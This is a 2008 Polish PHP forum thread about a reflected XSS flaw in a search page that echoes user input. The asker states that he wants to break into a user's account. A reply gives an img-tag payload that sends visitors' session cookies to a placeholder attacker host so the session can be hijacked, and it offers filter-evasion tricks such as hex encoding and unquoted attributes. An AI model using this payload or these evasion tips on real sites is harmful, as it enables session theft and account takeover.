Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP][HTML]Atak XSS
Forum PHP.pl > Forum > Przedszkole
seba22
Witam,

Chce włamać się na konto użytkownika w oparciu o lukę XSS.

Luka wygląda tak:


Mam wyszukiwarkę, pobiera ona od użytkownika ciąg o nazwie "$szukam".
Dodaje do niego funkcje zabezpieczającą przed MYSQL injection.

Wiecie, zakomentowywuje ona podejżane zapytanie.

Następnie echuje zmienną:
echo("Niestety nic nie znaleziono, dla zapytania $szukam");



No, jeżeli wstawię sobię w szukam <b>test</b>.
To wy echuje mi z tym kodem HTML i wykona po stronie przeglądarki.

Tak się zastanawiam czy nie dało by rady wstawić tam coś z PHP / Javascript ?

Odpada użycie czegokolwiek co ma ' czyli np echo(' test ');
odpada bo ' traktuje jako znacznik mysql i go po komentuje.

Nie było jakiejś możliwości zamienienia tych znaczników na takie nietypowe, które nie zagrażały by mysql-owi dzięki czemu byly by przepuszczone przez filtr, a potem wykonane po stronie użytkownika ?

Najefektowaniej było bo alert document cookie winksmiley.jpg


To kwestia testowa, sam stosuję i usuwanie HTML winksmiley.jpg
Kiedyś pisaliśmy razem do tego funkcję, ale po prostu chce pokazać to komuś w działaniu...
mike
Cytat(seba22 @ 15.10.2008, 11:06:48 ) *
Najefektowaniej było bo alert document cookie winksmiley.jpg
Możesz wstawić takie coś:
  1. <img src="http://jakiś.adres.hakera.pl/collectSessions.php?sessionFromSite=...." />

Gdzie możesz wysłać sobie na serwer sesję (ciastko czy cokolwiek) właśnie przeglądającego stronę (pobierzesz to za pomocą JavaScript). Tam twój skrypt wysyła Ci to maila.
Dostajesz błyskawicznie maila, wklejasz identyfikator sesji i ... ukradłeś komuś sesję.

Wszystko to co pisze to banalne kilka linii w JavaScript a później "kilka linii" w PHP.
Wszystko to oczywiście w pewnym uogulnieniu.

Voila! Zostałeś h4x00rem biggrin.gif
seba22
O ile sobie przypominam to " " ( podwójny apostrof, podchodzi również pod znak MYSQL, więc zostanie za komentowany ) ?

Czy nie mam racji ?


Wszystko co tu mówimy robimy oczywiście na własnej stronie...
Jesteśmy na etapie pisania wortalu, a im większą będę miał wiedzę tym lepiej winksmiley.jpg
mike
Cytat(seba22 @ 15.10.2008, 11:18:56 ) *
O ile sobie przypominam to " " ( podwójny apostrof, podchodzi również pod znak MYSQL, więc zostanie za komentowany ) ?
Więc zajdź sposób na zakodowanie go.
Możesz napisać go hexem, dla MySQL nie ma znaczenia a przeglądarka kto wie, może poprawnie przeczyta.
Poza tym możesz robić błedy w HTMLu, błedy w JavaScript. Preglądarkis głupie i czytają wszystko.
Nie działa tak:
  1. <img src="adres" />
?
To napisz tak
  1. <img src=adres />
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.